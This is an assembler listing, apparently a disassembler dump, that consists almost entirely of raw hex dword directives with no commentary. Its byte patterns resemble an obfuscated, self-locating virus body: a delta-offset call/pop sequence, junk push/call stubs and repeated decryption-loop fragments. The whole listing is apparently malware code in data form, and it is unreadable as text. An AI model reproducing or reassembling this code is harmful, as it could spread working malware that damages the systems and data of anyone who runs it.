		dd 4244481h, 15h, 46C35646h, 0DF816692h, 0FA8BA959h, 6AD22Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0BF05BDC3h, 12E8h, 7E1C5100h, 1BB639CEh, 0B5B5C75Eh
		dd 6674571Bh, 802B4A4Fh, 0F5FDCDFh, 188h, 33ADF800h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0A5D1D2C3h, 5B8A8E19h, 4ECB8166h
		dd 0AED7806Dh, 810Fh, 0BF0F0000h, 880DF8h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 5A13D7C3h, 9D099210h, 64D0ACDh, 599958Bh, 8B0F064Dh
		dd 8, 618D8950h, 5B064D21h, 51D8D8Bh, 65BB064Dh, 5064F44Bh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 51858931h, 6A064D29h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 89B3C355h, 4D1BA1BDh
		dd 45BD8306h, 64D1Ch, 8C840Fh, 9D890000h, 64D0F49h, 16159D09h
		dd 0B8064Dh, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 897EC356h, 4D15598Dh
		dd 0E1BF6606h, 0E58D8DDDh, 6A064D4Dh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 6FFC356h
		dd 665A5AFDh, 0FFF8DF8Bh, 51006AE1h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0BE1DA3F8h
		dd 9D8BD7B4h, 64D26E9h,	0BD8383B3h, 64D02E9h, 0AF840F00h
		dd 6A000004h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 82B4C352h, 0AAADBDCh, 142DBD89h
		dd 0BF0F064Dh, 0E9BD83F8h, 1064D02h, 493840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0C8C9E3C3h, 0A4BFEC30h, 0B5896098h, 64D2A15h, 6880Fh
		dd 8D8B0000h, 64D0455h,	0E9BD8361h, 3064D02h, 419860Fh
		dd 0BD090000h, 64D0DB9h, 17820F60h, 0E9000000h,	12h, 18A8CD2h
		dd 0CD984E1Ch, 1AA3FF59h, 0FD3F469h, 8C664539h,	0B5B589D9h
		dd 80064D03h, 6A04E1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 65C01FC3h, 840FC90Ah, 168h, 27818509h
		dd 858B064Dh, 64D1879h,	2F4DBD2Bh, 0BB66064Dh, 8533CFA5h
		dd 64D0639h, 14D99D8Bh,	0E990064Dh, 10h, 98489A33h, 0ADB964B7h
		dd 2847A9E4h, 0B436D9F0h, 800F5750h, 2,	905BDA8Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0CC35545h, 8960E790h
		dd 4D255995h, 14E806h, 14320000h, 28764B5h, 22C8FB6Fh
		dd 0EA2E528Dh, 5B9946h,	0B52B1B17h, 64D14D9h, 6A6159h
		dd 0E8FEB70Fh, 4, 1F03FFh, 880F5150h, 0
; a(short *)
a__ps		db '__Pé',8,0
		align 4
		dd 43C2B46Bh, 0E9E2FE8Ah, 424448Bh, 0DE8h, 0F60AF800h
		dd 6D881DDDh, 3656A724h, 8B5B0C9Bh, 5E800h, 0D75C0000h
		dd 50381D4Dh, 0D88B6652h, 0BE9310Fh, 32000000h,	0D6419D55h
		dd 5323BCEFh, 585AFDFFh, 2444895Fh, 0FB8B6604h,	0F1858958h
		dd 0FF064D2Dh, 4D0EB195h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 2F4121Bh, 56D2D5CEh
		dd 0CC2EBF66h, 9585895Fh, 6A0650B7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0A445C351h
		dd 6F3C9C6Eh, 0E975F9D5h, 5, 269E5314h,	1DFE9FAh, 9D8B0000h
		dd 64D2D15h, 0B78D858Bh, 6A0650h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0DFB996C3h, 1800C79Fh
		dd 0E9000000h, 13h, 2D31D8BAh, 968E6DFAh, 0AD41E226h, 2F06917Ch
		dd 0F522C066h, 0B791B58Bh, 6A0650h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 58F508C3h
		dd 0D98B5843h, 32E5858Bh, 6A064Dh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0F435DC3h, 0D5F3FF29h
		dd 0DB52925h, 89064D1Bh, 4D15F195h, 6A068906h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 784FC353h, 0A2A307C9h, 9E9B5h, 0B4FE0000h, 462A6C97h
		dd 8BBA3CD9h, 4D187985h, 0C98D8906h, 89064D2Ch,	0DA8B0446h
		dd 3DBB6696h, 3CB35031h, 55006A96h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 7A8CA218h, 0A7C0D1C7h
		dd 8DB5FFFCh, 6A0650B7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 1A51C356h, 0B589836Fh
		dd 64D1639h, 62559D68h,	10BB66FEh, 240481DCh, 1BCAE62h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7FC35545h
		dd 0FF2645Ah, 860FDEBFh, 0
		dd 0B795858Dh, 6A0650h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0E20B0C3h, 7E95760h, 0A0000000h
		dd 7D1BEBE2h, 605B050Bh, 10E95E53h, 0D3000000h,	2460D564h
		dd 43AB19A8h, 9490A37Dh, 614591ADh, 0BB669061h,	0BF5094A6h
		dd 4C4C0B11h, 0B195FF90h, 8B064D0Eh, 4D1291BDh,	81666106h
		dd 0C7B7E2CBh, 4D02E985h, 306h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 66B3DA1Fh
		dd 83E721BFh, 50B795BDh, 840F0006h, 43h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 0B9C35242h, 3DE9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 51147EC2h, 50F921E5h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 7CD12BC3h
		dd 0D96D8755h, 6606EC09h, 3ACDABFh, 4D179DBDh, 83F88B06h
		dd 4D02E9BDh, 850F0306h, 473h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 38C35545h, 8B566DF2h, 4D2A15BDh
		dd 0D1858906h, 83064D0Fh, 50B795BDh, 840F0006h,	43Bh, 149D8D89h
		dd 880F064Dh, 6, 0EA1BD8Bh, 0B5FF064Dh,	650B795h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1FC35343h, 0FBD4C596h
		dd 0BD8B95FFh, 64D0E95h, 8E9h, 48F9FE00h, 7172BD31h, 9995FF2Fh
		dd 0F064D2Dh, 584h, 4AFABF00h, 0B58B1F35h, 650B789h, 15FDBD89h
		dd 0BD23064Dh, 64D2499h, 106C7h, 0B5890001h, 64D2F69h
		dd 0E9965096h, 9, 5C8A69A8h, 0CD60B411h, 95B5FFB1h, 660650B7h
		dd 95FFDE8Bh, 64D308Dh,	1C659D8Bh, 0B58B064Dh, 650B789h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 5DC35343h
		dd 81A6C780h, 0A7F7AE3h, 85858B5Fh, 6A064D23h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 289CC356h, 6684758Fh, 12E9DA8Bh, 9D000000h, 13F2CEA9h
		dd 0A79DCB87h, 950B6D39h, 0A29551E4h, 0C4868927h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 2E7C357h,	0BC0A9E0Fh, 0F380020Ch,	99958B29h
		dd 89064D05h, 4D1441BDh, 4C28306h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0E8C35141h,	0DEC2BF66h, 6A205089h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0AE81C357h, 7E32E9CEh, 85296004h,	64D2BCDh
		dd 0DF14E081h, 8D617667h, 50CBF085h, 29BD8906h,	89064D00h
		dd 0B886h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 91DAF572h, 9D898554h, 64D2951h, 9501006Ah
		dd 64D1F35h, 0FFFB8B66h, 50B795B5h, 8D236006h, 64D0BB9h
		dd 880F60h, 8B000000h, 4D2A9585h, 9616106h, 4D0C398Dh
		dd 3195FF06h, 6A064D24h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0F64C350h, 489h, 5ABB6600h
		dd 348950DEh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 12AE5DF8h, 36434EE9h, 8950DE6Eh
		dd 4D28D995h, 0B5FF5F06h, 650B795h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 1BC35040h, 26E98589h, 8589064Dh
		dd 64D06C1h, 2CC195FFh,	6A064Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0A31C04C3h, 0D7206F21h
		dd 0A5BD8371h, 64D32h, 6E840Fh,	6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 4164FFC3h
		dd 0E9DAB70Fh, 0Ch, 0C44B9F34h,	30CCE76Bh, 1E502580h, 18B0Fh
		dd 96FC0000h, 28C0F50h,	8A000000h, 6A96DAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 9D7A02C3h
		dd 0EBE03900h, 9D8BC861h, 64D22B9h, 0B795B5FFh,	81660650h
		dd 603066D3h, 1619B529h, 0CE9064Dh, 0BB000000h,	0B57315ABh
		dd 0B6417D69h, 614CE2F3h, 17C595FFh, 6A064Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E9FD39C3h
		dd 10h,	7AFA481Ch, 6FA38225h, 7595E2B2h, 0D45BCD92h, 0B795B5FFh
		dd 9D310650h, 64D10EDh,	29B995FFh, 6A064Dh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E3A63BC3h
		dd 0F81CCB48h, 8B7840FEh, 4D1DFDBDh, 5BD8306h, 2064D15h
		dd 35840Fh, 0FF50000h, 858BDEBFh, 64D15A9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 98C35040h, 0C101E9AFh
		dd 0C60DE3h, 2D9D2B00h,	0C7064D2Ch, 4D211185h, 6, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 9311D537h, 0BDB589E2h, 0E9064D14h, 0FFFFF215h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 17C35343h, 16319D8Bh
		dd 0C18B064Dh, 10E9h, 0DC331500h, 0A5D28C1Ah, 4E2AC4DCh
		dd 22E5087Eh, 35858D48h, 0E9064D07h, 0Ah, 0B1B1752Ah, 0A0362D35h
		dd 0F502366h, 82h, 24048900h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 7EC35545h, 9D8B82DEh, 64D21D9h
		dd 0E953006Ah, 7, 0A596BF0Eh, 5BCA02D8h, 0BB66006Ah, 0B589254Dh
		dd 64D23B1h, 9776858Dh,	6A0651h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 663EDCC3h, 4DB8EF81h
		dd 6A05C083h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 2DE6C350h, 504B97E9h, 7E9h, 1A777600h
		dd 0FD693555h, 8B240489h, 4D05D9BDh, 6A006A06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0D0B2C356h, 0CC8551B4h, 3CC484Eh, 4820Fh, 0BF660000h
		dd 0B53100CEh, 64D26ADh, 840F006Ah, 3, 0FFD9B70Fh, 4D114995h
		dd 18D8906h, 8D064D16h,	509A138Dh, 0FFD88B06h, 57006AD1h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0D2317733h, 22CED9D8h, 1D9D2B63h, 83064D29h,	4D1281BDh
		dd 850F0106h, 0B8h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0C1C35242h, 0B500C90Bh, 0F6B41F8h, 68Ah
		dd 4DB50100h, 8B064D0Ch, 4D30D9BDh, 6A026A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 455FC356h, 37136261h, 0DF7B52A8h, 6090FA8Bh,	0BE66C68Bh
		dd 5061CDFCh, 6090F98Bh, 6E9h, 80E8CD00h, 6679C5ADh, 613948B9h
		dd 243195FFh, 6A064Dh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E948FCC3h, 14h, 0DDBF1B5Dh,	0AF277AECh, 0D3AC9D2Eh
		dd 2CE70B87h, 0AD12EA72h, 0CC7E9h, 0E800h, 815D0000h, 519780EDh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 6061DAE5h, 0DEDBD89h, 0F380064Dh, 6A616Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 858DCDC3h, 6508A57h,	66FA8B66h, 0BB90D88Bh, 74EABB0Fh
		dd 35D1BB50h, 6A905A9Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0C0DDC352h,	0BF0F9933h
		dd 9E9F8h, 98A0000h, 0D7F8FBBFh, 64405679h, 35FFh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0B6BBF4C3h, 1840F85h, 0FC000000h, 258964h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 5C25C350h, 0BDBF3B9Ah, 0FF5A7C60h, 4D181585h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0C5B5894Dh, 6A064D21h, 0E9BD8BFFh, 0FF064D17h
		dd 4D2585B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0FF030F3Dh, 4D041195h, 12AE906h
		dd 8D890000h, 64D0F0Dh,	70E600B0h, 0E4D98B66h, 0DDBD8B71h
		dd 3C064D0Dh, 0D830F61h, 8B000001h, 4D2D599Dh, 0C8B60F06h
		dd 1ABD8589h, 6BA064Dh,	0E9000000h, 0Bh, 55DBFD61h, 0FCF0450Ch
		dd 8BF4DCB5h, 0E8C1F8C1h, 8D0F5104h, 4,	2BD9BB66h, 51B5895Bh
		dd 66064D1Bh, 0C82BE2F7h, 6E9h,	856AA400h, 8BC50617h, 12E9D1h
		dd 0F260000h, 0B2436AF2h, 492A26Eh, 7C9784Fh, 0A2B5A2A3h
		dd 6E9h, 35B50900h, 8B064D1Fh, 4D036185h, 85896006h, 64D2E6Dh
		dd 0C08361F8h, 9E96007h, 36000000h, 0C4A54AE9h,	683D291Dh
		dd 0EE9h, 0DF793E00h, 4D96D75Fh, 0CB137666h, 6123A279h
		dd 8B00C083h, 4D32CDBDh, 0FE906h, 8E580000h, 16CFE49Bh
		dd 0F7DDC067h, 4FC513F8h, 0FD03BB3h, 0D83h, 0E95F5700h
		dd 3Ch,	17FDBD89h, 8D8B064Dh, 64D2485h,	837BF780h, 840F01E1h
		dd 24h,	3CD9D8Bh, 0A583064Dh, 64D2485h,	2FCB81FEh, 897475BCh
		dd 4D036195h, 89952906h, 0E9064D1Fh, 0
		dd 110BB58Dh, 9D290651h, 64D0DD5h, 0F2BF006Ah, 0FF2BE5D8h
		dd 4D051195h, 0EDBD8B06h, 0F064D03h, 1485h, 0FE900h, 870E0000h
		dd 1830D41Ch, 8213DFDDh, 4D264B51h, 770B9F6h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0A57385C3h, 0CED6CB81h, 0E1834A4Dh, 57006AFCh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0A522B05Ch, 4D4106Ch, 0EBBD98Bh, 0BB40BDB0h,	1342688Ch
		dd 55006AFCh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 31EC8224h, 0E9B9B0B9h, 12h, 36693C56h, 88C9A304h
		dd 7F3FCB19h, 0BB1B1978h, 0C02B6E8Fh, 27DF8166h, 0FD22BE1h
		dd 33ADDFB7h, 3E8D1C2h,	4E983D0h, 0CB81F475h, 74D1DFDCh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 69C35242h
		dd 16830Fh, 11E90000h, 0A000000h, 0B1526E62h, 3075A310h
		dd 0A532E673h, 3D0918FCh, 880DF9h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 434371C3h
		dd 9FB1BB15h, 0BF0F0D2Eh, 99958BFEh, 6A064D05h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 6B28C352h, 6CB88BDBh, 0FB8B66B5h, 51D8D8Bh, 60F9064Dh
		dd 8BDAB70Fh, 4D30698Dh, 8B506106h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 64C35747h, 0C8790131h, 259589C0h, 0F064D0Ch
		dd 588h, 0F3816600h, 8B66E8ADh,	6AE780FEh, 1C45BD83h, 0F00064Dh
		dd 2584h, 65BF6600h, 0B827h, 8D8D0000h,	64D4DE5h, 325D9D8Bh
		dd 0E1FF064Dh, 8810Fh, 890F0000h, 2, 0BD835B52h, 64D02E9h
		dd 0DF840F00h, 0F000003h, 85h, 0E9BD8300h, 1064D02h, 3E7840Fh
		dd 9D230000h, 64D2AA1h,	16098589h, 0BD83064Dh, 64D02E9h
		dd 98860F03h, 66000003h, 60A149BFh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 92C35747h, 13A6AB56h, 0E3D8ECFBh
		dd 31A9B589h, 840F064Dh, 0
		dd 8AD98C66h, 4E180DCh,	0CE8h, 92CF2000h, 4E1BC64Fh, 6398945Dh
		dd 0A1B589E4h, 5F064D26h, 840FC90Ah, 11Eh, 30499D09h, 858B064Dh
		dd 64D1879h, 0DE8B6660h, 0CE961h, 0A1070000h, 5D4B0675h
		dd 4D43BB4Fh, 853379B1h, 64D0639h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 51C35040h, 8D2360CEh, 64D15E9h
		dd 0BB669061h, 505085ABh, 0FDC8A52h, 79BB6631h,	90585A7Bh
		dd 290CF381h, 6A5420h, 332DBD8Bh, 4E8064Dh, 0FF000000h
		dd 50001F03h, 2880F52h,	60000000h, 5A310F61h, 448B5058h
		dd 12E80424h, 3A000000h, 0D3178887h, 36C789C0h,	65DDCE1Ah
		dd 0F9684534h, 0C1BB5782h, 5F4029A9h, 66008B5Fh, 89C7D9BBh
		dd 66042444h, 58B436BBh, 0BFDBBB66h, 0EB195FFh,	8166064Dh
		dd 60E264EFh, 23B58589h, 0B58B064Dh, 64D0DD5h, 95858961h
		dd 6A0650B7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 605DC357h, 759D8BDCh, 0E9064D2Fh
		dd 1DCh, 0FE9h,	46BCE400h, 0C57D058Bh, 61AFC009h, 84FA0AA4h
		dd 14B19589h, 858B064Dh, 650B78Dh, 2B899D09h, 0C7064Dh
		dd 18h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h
		dd 0F6C35545h, 0CCB17624h, 0C1BD29DAh, 0F8064D32h, 0B791B58Bh
		dd 9D8B0650h, 64D2135h,	32E5858Bh, 6A064Dh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0D064B0C3h
		dd 0FE9E1BF6h, 68D0Fh, 95290000h, 64D0401h, 32C19D8Bh
		dd 689064Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	1CC35646h, 4B007F57h, 21B10507h, 1879858Bh, 0FE9064Dh
		dd 96000000h, 0C98CA7AAh, 5048C203h, 71CB0BFBh,	4689C9A6h
		dd 0F1BD0304h, 50064D26h, 9C0BB860h, 89614EB5h,	9D8B2434h
		dd 64D32F1h, 0B78DB5FFh, 0F9BB0650h, 68632BAFh,	6FB4CC3Dh
		dd 0DE8h, 64FE3400h, 8094C556h,	0C1860D99h, 0BF66B1BAh
		dd 815FA7C3h, 0CFC22434h, 6A6FABh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 56D004C3h, 0FF0E3259h
		dd 858DF50Eh, 650B795h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 50C35040h, 898DC33Ch,	4D3311B5h, 0BF665006h
		dd 4897BBDh, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0FB95F014h, 8D8975DEh, 64D2145h
		dd 0EB195FFh, 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0B4D440C3h, 987D16E5h, 952979D2h
		dd 64D0AC1h, 6E8h, 89AB2F00h, 5FAC5988h, 50006A61h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 0B1E03F26h, 0F11D5C36h, 850184B2h, 64D00B5h,	0E985C7F8h
		dd 3064D02h, 33000000h,	4D15299Dh, 95BD8306h, 650B7h, 11840Fh
		dd 9D090000h, 64D1819h,	21E9h, 0BCC38100h, 501AB835h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 8C0FC08Bh
		dd 8, 0CD9D8B53h, 5F064D27h, 872FB3BFh,	55006A22h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 9C0ED14Dh, 0A6F4BF66h, 2E9BD83h, 0F03064Dh, 3CB85h
		dd 899D2900h, 83064D2Eh, 50B795BDh, 840F0006h, 3B8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0FEC35545h, 2191B501h
		dd 0B5FF064Dh, 650B795h, 0FF03E380h, 4D2D9995h,	58E0F06h
		dd 0BB000000h, 0B8C445Eh, 0B789B58Bh, 6A0650h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 7CE054C3h, 2B47F2DAh, 68C0Fh, 85890000h, 64D03B5h, 401B501h
		dd 6C7064Dh, 10001h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0E6C35646h, 2F28BCC6h, 0A07C26C8h, 9656B7ACh
		dd 66605250h, 0F61F08Bh, 0FB8B6631h, 9650585Ah,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1AC35747h, 0B5FF5E58h
		dd 650B795h, 0FE9h, 0F4A72200h,	0CCD418C1h, 0C04852EFh
		dd 0E70F41B4h, 308D95FFh, 6A064Dh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 9E1DC3C3h, 5E9CFC8h
		dd 31000000h, 569E0345h, 0B789B58Bh, 8B660650h,	85858BD9h
		dd 0F064D23h, 168Fh, 0FE95000h,	0A7000000h, 88602FCh, 7993D69Dh
		dd 3606B69Ah, 895F72CBh, 0C486h, 99958B00h, 89064D05h
		dd 4D1539B5h, 4C28306h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 2EC35242h, 0FD047E1h,	680h, 0A59D8900h
		dd 89064D2Bh, 8B662050h, 0F0858DDAh, 660650CBh,	0D591D781h
		dd 0AE9h, 7E14CD00h, 281E1B76h,	89459D31h, 0B886h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0B5DF80A8h, 1CF8BB66h, 5BBF006Ah, 8B75E3A7h,	4D12399Dh
		dd 95B5FF06h, 6A0650B7h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0EB50C351h,	0B59D8B31h
		dd 66064D1Ah, 0FF0B5FBBh, 4D243195h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 9EDEA242h
		dd 10871FBBh, 52509637h, 0E20ABB66h, 8F0F310Fh,	2, 585A5F56h
		dd 0DA8B6050h, 50F08B60h, 5A310F52h, 96616158h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0ADC35141h, 95B5FF92h
		dd 6A0650B7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 574FC353h, 6DBD8B50h, 5F064D29h
		dd 2CC195FFh, 9D8B064Dh, 64D1559h, 32A5BD83h, 0F00064Dh
		dd 0B84h, 6650F900h, 892565BBh,	0D98B2434h, 0B795B5FFh
		dd 6A0650h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0A8C124C3h, 6800F4Ch, 89000000h, 4D0F21B5h
		dd 0C595FF06h, 66064D17h, 0B5FFDA8Bh, 650B795h,	2BB7BF66h
		dd 14E8h, 3D5A9E00h, 48318D9Bh,	4FA3A2F9h, 0C3EA2DA1h
		dd 2879A163h, 1BD8BC2h,	5F064D12h, 29B995FFh, 0BD83064Dh
		dd 64D1505h, 4E840F02h,	0E8000000h, 13h, 3326C5Fh, 74C2375Dh
		dd 0A47139A3h, 93B0739Ah, 0E92E0493h, 8, 337B3676h, 7C1DA9EAh
		dd 0A9858B5Bh, 6A064D15h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0F5A9C353h,	8B0000C6h
		dd 1185C7FAh, 64D21h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 1CF0C356h, 73E162EFh
		dd 0C5384C41h, 0FFF45EE9h, 3DE381FFh, 8B620270h, 0DEBF0FC1h
		dd 735858Dh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 73DD24C3h, 39BD097Dh, 50064D29h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 4703C353h, 0B37EB792h,	6A006A7Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0F31AC352h, 0D381A906h, 1FA6DF0Ah, 0DE8B006Ah
		dd 0CE9h, 83A65B00h, 0F65802E6h, 0D4284B13h, 57858D1Ch
		dd 6A0651A6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 9A57C357h, 1C2B3264h, 83DEB70Fh
		dd 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 72D65AC3h, 90DD795Ch, 0E4BB6657h,	0E8505F3Eh
		dd 10h,	0DEF0F7C5h, 54B4255Ch, 802B67Eh, 0F8CDB179h, 2870Fh
		dd 5F500000h, 6A905Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 1524EBC3h, 3B12C076h, 6A006AF7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 99FFC355h, 0D2D984F2h, 0BD2923F0h, 64D0601h
		dd 95FF006Ah, 64D1149h,	0BB1B531h, 8D8D064Dh, 6509A13h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0EEC35141h
		dd 45236EF5h, 0A9CA9F6Dh, 18589BDh, 0FF064D27h,	0ADBD33D1h
